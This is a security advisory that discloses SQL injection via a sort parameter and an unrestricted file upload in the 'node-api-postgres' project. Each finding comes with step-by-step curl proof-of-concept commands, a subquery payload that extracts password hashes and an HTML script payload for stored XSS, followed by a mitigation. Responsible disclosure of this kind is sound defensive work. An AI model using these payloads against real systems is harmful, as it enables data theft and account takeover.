# Security Advisory: Multiple Critical Vulnerabilities in node-api-postgres
## Document Information
* **Target:** `node-api-postgres` by Jawher Kl
* **Affected Version:** [Insert Version / Commit Hash]
* **Researchers / Authors:** * Po-Cheng Chen (GitHub: [@ericchen913900](https://github.com/ericchen913900))
* Chia-Jui Kuo (GitHub: [@itousouta15](https://github.com/itousouta15))
* **Status:** Under 90-day Embargo
---
## Executive Summary
During a comprehensive security code review of the `node-api-postgres` repository, multiple critical security vulnerabilities were discovered. The most severe findings include **SQL Injection (CWE-89)** and **Unrestricted File Upload (CWE-434)**. If successfully exploited, these vulnerabilities allow unauthenticated attackers to achieve complete database compromise, arbitrary data exfiltration, and potential server takeover.
---
## Vulnerability 1: SQL Injection via ORDER BY Clause
* **Severity:** Critical (CVSS 3.1: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
* **CWE:** CWE-89 (Improper Neutralization of Special Elements in SQL Command)
* **Affected Component:** `models/user.js` → `User.getAll()`
* **Endpoint:** `GET /users`
### Advisory / Description
The `sort` parameter is concatenated directly into the SQL query without adequate sanitization or parameterized execution. Because `ORDER BY` clauses cannot be parameterized in PostgreSQL, this direct string concatenation introduces a critical SQL Injection vulnerability.
**Observed Impact:**
The API response exposes email, password (bcrypt hash), role, and `created_at` for all users including the admin. An attacker can chain this with offline bcrypt cracking to achieve full administrative account takeover.
### Exploit / Proof of Concept (PoC)
The following sequence demonstrates full exploitation to exfiltrate database records.
**Step 1: Register an attacker account (No authentication required)**
```bash
EMAIL="attacker_$RANDOM@evil.com"
curl -s -X POST http://localhost:3000/register \
-H "Content-Type: application/json" \
-d "{\"name\":\"Attacker\",\"email\":\"$EMAIL\",\"password\":\"Password2026\"}"
```
**Step 2: Obtain a valid JWT token**
```bash
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d "{\"email\":\"$EMAIL\",\"password\":\"Password2026\"}" \
| grep -o '"token":"[^"]*"' | cut -d'"' -f4)
```
**Step 3: Full data exfiltration via subquery**
Injecting a subquery into the `sort` parameter to extract the first password hash:
```bash
curl -s "http://localhost:3000/users?sort=(SELECT%20password%20FROM%20users%20LIMIT%201)" \
-H "Authorization: Bearer $TOKEN"
```
**Result:** The API successfully returns all user records including bcrypt password hashes and emails for all users, including the administrator account.
### Recommended Mitigation
Implement a strict allowlist for the `sort` parameter:
```javascript
const ALLOWED_SORT_FIELDS = ['id', 'name', 'email', 'created_at'];
const sortField = ALLOWED_SORT_FIELDS.includes(sort) ? sort : 'id';
query += ` ORDER BY ${sortField} ASC`;
```
---
## Vulnerability 2: Unrestricted File Upload Bypassing Validation
* **Severity:** Critical (CVSS 3.1: 9.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
* **CWE:** CWE-434 (Unrestricted Upload of File with Dangerous Type)
* **Affected Component:** `index.js` → `POST /users/:id/profile-picture`
### Advisory / Description
The endpoint utilizes a locally instantiated `multer` configuration that completely omits the `fileFilter` and size limitations enforced elsewhere in the application (e.g., `middleware/upload.js`). Furthermore, it preserves the original file extension via `path.extname(file.originalname)` and serves uploaded content statically via the `/uploads` directory.
**Observed Impact:**
Attackers can upload arbitrary file types (such as `.html` or malicious scripts). By navigating to the statically served `/uploads` directory, this leads directly to Stored Cross-Site Scripting (XSS) or Remote Code Execution (RCE) depending on the environment.
### Exploit / Proof of Concept (PoC)
The following steps demonstrate uploading a malicious HTML payload to trigger Stored XSS.
**Step 1: Create a malicious payload**
Create a file named `malicious_payload.html` containing:
```html
<script>alert('XSS executed by Attacker!');</script>
```
**Step 2: Upload the payload, overriding MIME type**
```bash
curl -X POST http://localhost:3000/users/1/profile-picture \
-F 'profilePicture=@malicious_payload.html;type=text/html'
```
**Step 3: Trigger the execution**
Navigate to the uploaded file via the browser:
```text
http://localhost:3000/uploads/<timestamp>.html
```
**Result:** The browser renders the HTML and executes the embedded JavaScript.
### Recommended Mitigation
Replace the inline `multer` instance in `index.js` with the validated middleware from `middleware/upload.js`. Ensure a strict MIME type whitelist and maximum file size limits are enforced on all file upload endpoints.